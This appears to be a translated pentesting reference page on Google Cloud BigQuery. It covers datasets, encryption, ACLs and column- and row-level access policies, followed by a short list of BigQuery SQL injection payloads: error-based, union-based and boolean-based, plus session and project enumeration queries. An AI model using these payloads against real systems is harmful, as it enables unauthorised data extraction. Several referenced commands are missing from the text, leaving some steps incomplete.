GCP - Bigquery Enum
Last updated
Last updated
学习与实践 AWS 黑客技术: 学习与实践 GCP 黑客技术:
Google Cloud BigQuery 是一个 完全托管的无服务器企业数据仓库,提供对 PB 级数据的分析能力,从而高效处理大规模数据集。作为一种平台即服务 (PaaS),它为用户提供基础设施和工具,以便在无需手动监督的情况下促进数据管理。
它支持使用 ANSI SQL 进行查询。主要对象是包含 SQL 数据的 数据集,其中包含 表。
默认情况下使用 Google 管理的加密密钥,尽管可以配置 客户管理的加密密钥 (CMEK)。可以在数据集和数据集内的每个表中指示加密密钥。
可以在 数据集 中指示 过期时间,因此在此数据集中创建的任何新表将在创建后指定的天数内 自动删除。
Bigquery 与其他 Google 服务深度集成。可以从存储桶、pub/sub、Google Drive、RDS 数据库等加载数据...
当创建数据集时,会附加 ACLs 以授予对其的访问权限。默认情况下,授予 创建 数据集的 用户 所有者 权限,然后将 所有者 权限授予 projectOwners 组(项目的所有者),将 写入者 权限授予 projectWriters 组,以及将 读取者 权限授予 projectReaders 组:
要在列级别限制数据访问:
可选:将 数据目录细粒度读取者角色授予一个或多个主体,针对您创建的一个或多个策略标签。
将策略标签分配给您的 BigQuery 列。在 BigQuery 中,使用模式注释将策略标签分配给您希望限制访问的每一列。
在分类法上强制访问控制。强制访问控制会导致对分类法中所有策略标签定义的访问限制生效。
当用户尝试在查询时访问列数据时,BigQuery 检查列策略标签及其策略,以查看用户是否被授权访问数据。
总结来说,要限制某些用户对某些列的访问,您可以 在模式中为列添加标签并限制用户对该标签的访问,通过在标签的分类法上强制访问控制。
要在分类法上强制访问控制,需要启用该服务:
可以通过以下方式查看列的标签:
注释:
select 1#from here it is not working
select 1/*between those it is not working*/
但仅初始的一个不起作用
select 1--from here it is not working
获取 环境 的 信息,例如:
当前用户:select session_user()
项目 ID:select @@project_id
连接行:
所有表名:string_agg(table_name, ', ')
获取 数据集、表 和 列 名称:
项目 和 数据集 名称:
所有数据集的 列 和 表 名称:
同一项目中的其他数据集:
SQL 注入类型:
基于错误 - 类型转换: select CAST(@@project_id AS INT64)
基于错误 - 除以零: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '
基于联合(在 bigquery 中需要使用 ALL): UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
基于布尔: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
潜在基于时间 - 使用公共数据集示例: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
文档:
可以通过行访问策略控制主体在表内能够访问的行。这些策略在表内使用定义。 访问策略定义了一个过滤器,只有与该过滤器匹配的行才会被指定的主体访问。
定义分类法和策略标签。为您的数据创建和管理分类法和策略标签。
管理策略标签的访问。使用 (IAM) 策略限制对每个策略标签的访问。该策略对属于该策略标签的每一列有效。
有关更多信息,您可以查看博客文章:。这里仅提供一些细节。
所有函数列表:
脚本语句:
学习与实践 AWS 黑客技术: 学习与实践 GCP 黑客技术:
查看 !
加入 💬 或 或 在 Twitter 🐦 ** 上关注我们。**
通过向 和 github 仓库提交 PR 分享黑客技巧。